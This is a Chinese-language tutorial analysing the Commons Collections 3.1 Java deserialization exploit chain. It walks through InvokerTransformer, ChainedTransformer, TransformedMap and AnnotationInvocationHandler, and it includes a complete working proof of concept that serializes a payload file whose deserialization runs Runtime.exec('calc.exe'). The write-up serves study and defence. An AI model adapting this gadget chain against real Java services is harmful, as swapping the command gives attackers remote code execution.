Java 反序列化分析从入门到放弃(二)
基础知识参考: Java 反序列化分析从入门到放弃(一)
一、环境配置
本次分析的是CommonsCollections3.1
的反序列化利用链,Java环境为jdk1.8.0_261
,使用的IDE是eclipse
。
需要下载一些依赖环境:CommonsCollections3.1
的源码和zip
文件。CommonsCollections3.1
下载地址:
https://commons.apache.org/proper/commons-collections/download_collections.cgi
1、 配置运行环境
新建Java项目,注意选择运行环境版本,使用jdk1.7.0_80
。
之后新建类Serialize_Test_Poc
:
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.io.*;
public class Serialize_Test_Poc {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "test");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
/*
* //触发漏洞 Map.Entry onlyElement = (Map.Entry)
* outerMap.entrySet().iterator().next();
* //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,
* 这是map的键值对数据格式 onlyElement.setValue("foobar");
*/
//反射机制调用 AnnotationInvocationHandler 类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//返回指定参数类型的所有构造器,包括public的和非public的,当然也包括private的
Constructor ctor = cl.getDeclaredConstructor(Class.class,Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取实例
Object instance = ctor.newInstance(Target.class, outerMap);
//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
//服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
fin.readObject();
}
}
2、 导入依赖包
选中项目右键配置Build path:
选择Libraries => Add External JARS =>选择下载的文件=> Apply and Close。
3、 关联源文件
在代码调试中要分析源文件,所以要关联源文件。使用Java Decompiler反编译jre1.7.0_80\lib\rt.jar
,Java Decompiler下载地址:
http://java-decompiler.github.io/
把导出的zip文件丢在jre的目录下即可。
选中项目,右键 => Run As
=> Run Configurations
选择Alternate JRE
=>点击 => Installed JREs
。
如果没有配置就点击Add添加自己的jdk路径,添加之后选中并点击Edit
。
选择rt.jar
=> Source Attachment
=> External location
=> External File
。
二、代码分析
1、InvokerTransformer
CC3.1jar包中,InvokerTransformer的transform方法会通过反射机制去调用任意函数。
类所在路径:
commons-collections-3.1.jar!/org/apache/commons/collections/functors/InvokerTransformer.class
查看源码:
其实类InvokerTransformer
是实现了Transformer
接口,但由于接口回调的特性,执行的方法还是InvokerTransformer
的transform
方法。
Transformer
接口如下图所示:InvokerTransformer
实现Transformer
接口如下图所示:
可见通过多次调用InvokerTransformer
的transform
方法即可实现调用一条命令执行链。
以InvokerTransformerDemo 类为例:
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokerTransformerDemo {
public static void main(String[] args) throws Exception {
//利用Java反射获取类对象
Class runtimeClass = Class.forName("java.lang.Runtime");
//利用InvokerTransformer的transform会通过反射机制去调用任意函数
//返回 java.lang.Runtime的class对象->m_getMethod,可以类比下一行分析
//java.lang.Runtime.getMethod("getRuntime") -> 返回 java.lang.Runtime.getRuntime 方法
//new Class[] 新建一个类数组,值为String.class,Class[].class
Object m_getMethod = new InvokerTransformer(
"getMethod",
//getMethod()的参数类型是{"getRuntime",null},所以new Class[]的类型为String.class
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",null}
).transform(runtimeClass);
//java.lang.Runtime.getRuntime.invoke() -> 返回 java.lang.Runtime.getRuntime() 对象
Object runtime = new InvokerTransformer(
"invoke",
//invoke(对象,参数),所以new Class[] 的类型为Object.class
new Class[] {Object.class,Object[].class},
new Object[] {null,null}
).transform(m_getMethod);
//java.lang.Runtime.getRuntime().exec("calc.exe")
Object exec = new InvokerTransformer(
"exec",
//exec('calc.exe')只有一个参数,所以new Class[] 的类型为String.class
new Class[] {String.class},
new Object[] {"calc.exe"}
).transform(runtime);
}
}
最终构成了一个命令执行链:Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(null).exec(‘calc.exe’)
2、Transformer
现在知道InvokerTransformer的transform方法可以调用任意函数,现在需要查找调用transform方法的类。
其中有以下两个类:ConstantTransformer,ChainedTransformer,
ConstantTransformer类实现了Transformer接口,transform会直接返回实例化时传入的对象。
ConstantTransformer路径:
commons-collections-3.1.jar!/org/apache/commons/collections/functors/ConstantTransformer.class
ChainedTransformer类也实现了Transformer接口,它的 transform ⽅法会循环调⽤ Transformer 数组对象中的 transform ⽅法,且上一次执行的结果会被当做下
一次调用,最终返回Transformer[]数组最后一个值执行后的对象Runtime。
ChainedTransformer 路径:
commons-collections-3.1.jar!/org/apache/commons/collections/functors/ChainedTransformer.class
继续执行,由于接口回调执行InvokerTransformer
的transform
方法,成功构成命令执行链。构造链是 InvokerTransformer.transform()
=> Transformer.transform()
以reflectionChain
类为例:
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;
/*知道了InvokerTransformer.transform()方法可以执行命令后,需要知道谁调用这个接口
* 就找到了ConstantTransformer以及ChainedTransformer
* ConstantTransformer.transform() 实例化传入的对象
* ChainedTransformer.transform() 把上次执行的结果当下次的参数*/
public class reflectionChain {
public static void main(String[] args) throws Exception {
//定义transformers 数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime",null}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class},
new Object[] {null,null}
),
//利用了接口回调特性,最后执行的是InvokerTransformer.tranform()
new InvokerTransformer(
"exec",
new Class[] {String.class},
new Object[] {"calc.exe"}
)
};
//ChainedTransformer chain = new ChainedTransformer(transformers);
//接口名 对象名 = new 类名;利用了接口回调特性
Transformer chain = new ChainedTransformer(transformers);
//最后一步返回Runtime对象,传递的方法是exec,参数是calc.exe
chain.transform(null);
}
}
3、TransformedMap
现在Transformer.transform
可以构造命令执行链,下一步需要查找谁调用它,其中 TransformedMap 类有调用。其中decorate 会调⽤构造函数⽣成实例对象, checkSetValue 会返回 Transformer 对象调⽤ transform 方法的结果,所以要执行decorate和checkSetValue方法。
TransformedMap 路径:
/commons-collections-3.1.jar!/org/apache/commons/collections/map/TransformedMap.class
Map 路径:
/jdk/src.zip!/java/util/Map.java
由于TransformedMap
的构造方法是protected
的,所以不能使用TransformedMap
的构造方法生成实例对象。
//生成Map对象
Map innermap = new HashMap();
//放入键值对
innermap.put("key","value");
//生成实例对象
Map outmap = TransformedMap.decorate(innermap, null, chain);
此处之所以outmap可以用Map来限定,是利用了接口回调的特性。
重点:
TransformedMap extends AbstractInputCheckedMapDecorator extends AbstractMapDecorator implements Map
相当于这几个类都实现Map接口。
现在实例有了,差一个能够返回结果的transform方法去执行。
构造链:
InvokerTransformer.transform()
=> Transformer.transform()
=> TransformedMap.checkSetValue()
但由于接口回调的特性,可以转换如下:
InvokerTransformer.transform()
=> Transformer.transform()
=> Map.checkSetValue()
Map类似公共接口,可以找到使用方法checkSetValue()
的类可能性更大。
其中有AbstractInputCheckedMapDecorator
类有调用。
4、AbstractInputCheckedMapDecorator
路径:
commons-collections-3.1.jar!/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator
简化代码如下:
- MapEntry extends AbstractMapEntryDecorator
- AbstractMapEntryDecorator implements Entry
- Entry为Map的内部接口
- Map.Entry.setvalue()也存在于MapEntry.setValue()
所以调用setvalue()就可以调用checkSetValue()。要想调用setvalue()就要实例化类MapEntry
,查找之后发现是AbstractInputCheckedMapDecorator.EntrySetIterator.next()
才可以实现:
而AbstractInputCheckedMapDecorator.EntrySetIterator.next()
是由AbstractInputCheckedMapDecorator.EntrySet.iterator()
方法实例化。
而EntrySet是内部类,还是由AbstractInputCheckedMapDecorator.entrySet()
实例化。
重点:
TransformedMap extends AbstractInputCheckedMapDecorator extends AbstractMapDecorator implements Map
所以可以构造如下利用链:
//生成实例对象
Map outmap = TransformedMap.decorate(innermap, null, chain);
//注意:此时outmap的类型属于TransformedMap,TransformedMap不存在方法entrySet()
//接口回调,去往父类AbstractInputCheckedMapDecorator寻找方法entrySet()
//最终返回AbstractInputCheckedMapDecorator$MapEntry对象
Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
//Map.Entry.setvalue()也存在于MapEntry.setValue()
//接口回调,执行的是MapEntry对象的setValue()方法
onlyElement.setValue("foobar");
最终返回类型:
此时构造类reflectionChain
如下:
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;
/*知道了InvokerTransformer.transform()方法可以执行命令后,需要知道谁调用这个接口
* 就找到了ConstantTransformer以及ChainedTransformer
* ConstantTransformer.transform() 实例化传入的对象
* ChainedTransformer.transform() 把上次执行的结果当下次的参数*/
public class reflectionChain {
public static void main(String[] args) throws Exception {
//定义transformers 数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime",null}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class},
new Object[] {null,null}
),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new Object[] {"calc.exe"}
)
};
//ChainedTransformer chain = new ChainedTransformer(transformers);
//接口名 对象名 = new 类名;利用了接口回调特性
Transformer chain = new ChainedTransformer(transformers);
//chain.transform(null);
//生成Map对象
Map innermap = new HashMap();
//放入键值对
innermap.put("key","value");
//生成实例对象
Map outmap = TransformedMap.decorate(innermap, null, chain);
Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}
5、AnnotationInvocationHandler
其实到这一步利用链已经成功了,只是要想使用readObject读取序列化文件后自动触发漏洞,还需要 AnnotationInvocationHandler
类。
所在路径:
/jdk/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class
主要是AnnotationInvocationHandler类的readObject()函数理解。如下所示:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
//声明一个annotationType的变量
AnnotationType annotationType = null;
try {
//这里的type是我们在实例化的时候传入的jdk自带的Target.class
//之前的poc语句是这样Object instance = ctor.newInstance(Target.class, outerMap);
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
//默认的是{value:ElementType}的键值对
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
//遍历memberValues
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
//获取memberValues键value,执行后 "name"->"value"
String name = memberValue.getKey();
//获取键为value的memberTypes,并赋值给memberType,
Class<?> memberType = memberTypes.get(name);
//如果存在memberType不为空
if (memberType != null) { // i.e. member still exists
//获取memberValue的value键对应的值,赋值给value
Object value = memberValue.getValue();
//value不能强转为memberType,且value不是 ExceptionProxy这种类型
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
//执行memberValue的setValue方法触发漏洞,参数不用管
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
其中有: Class<?> memberType = memberTypes.get(name);
memberTypes
的默认的是 {value:ElementType} 的键值对,如果memberValues
传递进来的键不是value(innerMap.put("value", "test");
),那么在执行get()方法时就获取不到对应键为的value的值,if语句就不成立,故而不能执行setValue() 方法触发漏洞。
最终构造类:Serialize_Test_Poc。
执行效果如下:
三、调用链总结
触发之后产生返回值,返回到最终执行命令calc.exe
graph TB
A[开始] -->B("Object runtime")
B -- 反射调用 --> C("InvokerTransformer('exec',String.class,'calc.exe').transform(runtime)")
C--接口回调-->D("Transformer.transform()")
e1--返回-->D("Transformer.transform()")
A6--触发-->F0("(Map) outerMap")
F0--返回-->F("(Map) decorate()")
F--返回-->E("TransformedMap")
E--返回-->e1("TransformedMap.decorate()")
D --接口回调--> e1("TransformedMap.decorate()")
D --接口回调--> e2("TransformedMap.checkSetValue()")
e1--调用构造函数生成实例对象-->E("TransformedMap")
E--接口回调--> F("(Map) decorate()")
F--生成-->F0("(Map) outerMap")
e2 --返回调用transform结果--> G("(Map) checkSetValue()")
G--Java的继承和向上转型--> A1("(Map.Entry) setValue()")
A1--Java反射--> A2("sun.reflect.annotation.AnnotationInvocationHandler")
A2--实例化对象--> A3("(Object) ctor.newInstance(Target.class, outerMap)")
A3--生成对象--> A4("(AnnotationInvocationHandler) instance")
A4--序列化对象instance生成恶意payload-->A5("payload.bin")
A5--恶意序列化文件输入-->A6("sun.reflect.annotation.AnnotationInvocationHandler.readObject()")
A5--接口回调调用重写的AnnotationInvocationHandler.readObject-->A6("sun.reflect.annotation.AnnotationInvocationHandler.readObject()")
A6--触发-->A7("sun.reflect.annotation.AnnotationInvocationHandler.readObject().setValue()")
A7--返回-->A1("(Map.Entry) setValue()")
A1--返回-->G("(Map) checkSetValue()")
G("(Map) checkSetValue()")--返回-->e2("TransformedMap.checkSetValue()")
e2--返回-->D("Transformer.transform()")
D--返回-->C("InvokerTransformer('exec',String.class,'calc.exe').transform(runtime)")
C--返回-->B("Object runtime")
B--执行命令calc.exe-->N[结束]
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。